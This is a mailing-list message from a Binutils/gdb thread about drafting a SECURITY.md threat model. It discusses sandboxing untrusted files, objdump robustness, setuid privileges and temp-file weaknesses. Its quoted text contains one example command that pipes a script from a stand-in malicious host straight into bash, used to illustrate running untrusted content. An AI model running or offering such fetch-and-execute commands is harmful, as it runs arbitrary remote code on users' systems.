Mirror of the gdb mailing list
 help / color / mirror / Atom feed
From: Siddhesh Poyarekar <siddhesh@gotplt.org>
To: Richard Earnshaw <Richard.Earnshaw@foss.arm.com>,
	Nick Clifton <nickc@redhat.com>,
	Binutils <binutils@sourceware.org>
Cc: "gdb@sourceware.org" <gdb@sourceware.org>
Subject: Re: RFC: Adding a SECURITY.md document to the Binutils
Date: Thu, 13 Apr 2023 09:35:52 -0400	[thread overview]
Message-ID: <01e846c0-c6bf-defe-0563-1ed6309b7038@gotplt.org> (raw)
In-Reply-To: <0224757b-6b17-f82d-c0bf-c36042489f5e@foss.arm.com>

On 2023-04-13 09:11, Richard Earnshaw wrote:
>> This is why when one does a:
>>
>> curl -s http://evil.website/malicious-script.sh | bash
>>
>> it is a legitimate security issue, but it's not a vulnerability in 
>> bash, nor can it be secured in bash.  One must either do this in a 
>> sandbox to contain its impact in that sandbox, or do a secondary 
>> analysis (again in a sandbox) to determine that it is safe.
> 
> Right, but that's not the case I was concerned about.  My scenario is 
> more like when you run something like
> 
> objdump foo.o
> 
> but reading foo.o causes corruption in the tools (eg by a buffer 
> exploit) and ends up sending a confidential file to a third party.

It's not fundamentally different from, e.g.

bash malicious-script.sh

it just feels different because you elided the transport mechanism. 
Fundamentally, it is unsafe to do anything with untrusted content 
without sandboxing, so objdump is no different.  Sure, objdump is an 
analysis tool, so it should be able to analyze foo.o without crashing, 
but that's a robustness issue, not a security one.  The security aspect 
should be handled by a sandbox.

>>>>> a vulnerability in the generated output that was not already 
>>>>> present in the files used as input.
>>>>>
>>>>> Note: none of the programs in the GNU Binutils suite need elevated 
>>>>> system privileges (eg setuid) to operate and we recommend that 
>>>>> users do not use them from accounts where such privileges are 
>>>>> automatically available.
>>>>
>>>> We did have CVE-2021-20197, so it's not always setuid.
>>>
>>>
>>> Which is exactly the sort of scenario I was trying to exclude by this 
>>> statement - don't run the tools with elevated privileges.
>>
>> I should have clarified that I agree, just that mentioning setuid 
>> might lull users into believing that this threat model is only related 
>> to setuid.
> 
> Which is why I put setuid in brackets and put 'eg' in front of it.  It's 
> the most obvious example, but it's by no means the only case.

Fair enough.

> BTW, the real problem underlying that CVE is that the temp-files APIs 
> are fundamentally weak by defaulting to a shared temporary directory. 
> Quite frankly there's no reason why systems shouldn't be using per-user 
> temporary directories these days which are private - who needs to share 
> temporary files with other users?

That is essentially why the issue wasn't considered critical.

Sid

  reply	other threads:[~2023-04-13 13:36 UTC|newest]

Thread overview: 56+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2023-04-07  8:42 Nick Clifton via Gdb
2023-04-07 10:36 ` Eli Zaretskii via Gdb
2023-04-11 13:29   ` Nick Clifton via Gdb
2023-04-11 14:23     ` Simon Marchi via Gdb
2023-04-11 15:00       ` Eli Zaretskii via Gdb
2023-04-11 16:22         ` Nick Clifton via Gdb
2023-04-11 16:32           ` Matt Rice via Gdb
2023-04-11 18:18         ` J.W. Jagersma via Gdb
2023-04-12  8:43           ` Nick Clifton via Gdb
2023-04-08  6:30 ` Jan Beulich via Gdb
2023-04-10 18:30 ` John Baldwin
2023-04-20 15:56   ` Nick Clifton via Gdb
2023-04-11 19:45 ` Ian Lance Taylor via Gdb
2023-04-12 16:02 ` Richard Earnshaw via Gdb
2023-04-12 16:26   ` Siddhesh Poyarekar
2023-04-12 16:52     ` Richard Earnshaw via Gdb
2023-04-12 16:58       ` Paul Koning via Gdb
2023-04-12 17:10       ` Siddhesh Poyarekar
2023-04-13  3:51         ` Alan Modra via Gdb
2023-04-13  4:25           ` Siddhesh Poyarekar
2023-04-13  5:16             ` Alan Modra via Gdb
2023-04-13 12:00               ` Siddhesh Poyarekar
2023-04-13 10:25         ` Richard Earnshaw via Gdb
2023-04-13 11:53           ` Siddhesh Poyarekar
2023-04-13 12:37             ` Richard Earnshaw via Gdb
2023-04-13 12:54               ` Siddhesh Poyarekar
2023-04-13 13:11                 ` Richard Earnshaw via Gdb
2023-04-13 13:35                   ` Siddhesh Poyarekar [this message]
2023-04-13 13:40                     ` Richard Earnshaw via Gdb
2023-04-13 13:56                       ` Siddhesh Poyarekar
2023-04-13 14:50                         ` Richard Earnshaw via Gdb
2023-04-13 15:02                           ` Siddhesh Poyarekar
2023-04-13 15:05                             ` Richard Earnshaw via Gdb
2023-04-13 16:42                               ` Siddhesh Poyarekar
2023-04-14  9:52                                 ` Richard Earnshaw via Gdb
2023-04-14 12:43                                   ` Siddhesh Poyarekar
2023-04-14 12:49                                     ` Richard Earnshaw via Gdb
2023-04-14 13:13                                       ` Siddhesh Poyarekar
2023-04-13 15:08                             ` Paul Koning via Gdb
2023-04-13 16:02                               ` Siddhesh Poyarekar
2023-04-13 16:49                                 ` Paul Koning via Gdb
2023-04-13 17:00                                   ` Siddhesh Poyarekar
2023-04-13 17:05                                     ` Paul Koning via Gdb
2023-04-13 17:29                                       ` Siddhesh Poyarekar
2023-04-13 17:37                                         ` Paul Koning via Gdb
2023-04-13 18:16                                           ` Siddhesh Poyarekar
2023-04-14 17:37                                     ` Ian Lance Taylor via Gdb
2023-04-14 18:27                                       ` Siddhesh Poyarekar
2023-04-14 20:46                                         ` Ian Lance Taylor via Gdb
2023-04-14 21:24                                           ` Siddhesh Poyarekar
2023-04-17 15:31                                           ` Michael Matz via Gdb
2023-04-17 19:55                                             ` Ian Lance Taylor via Gdb
2023-04-14 19:45                                       ` DJ Delorie via Gdb
2023-04-14 20:49                                         ` Ian Lance Taylor via Gdb
2023-04-15  6:41                                           ` Xi Ruoyao via Gdb
2023-04-13 16:06                               ` Richard Earnshaw via Gdb

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=01e846c0-c6bf-defe-0563-1ed6309b7038@gotplt.org \
    --to=siddhesh@gotplt.org \
    --cc=Richard.Earnshaw@foss.arm.com \
    --cc=binutils@sourceware.org \
    --cc=gdb@sourceware.org \
    --cc=nickc@redhat.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox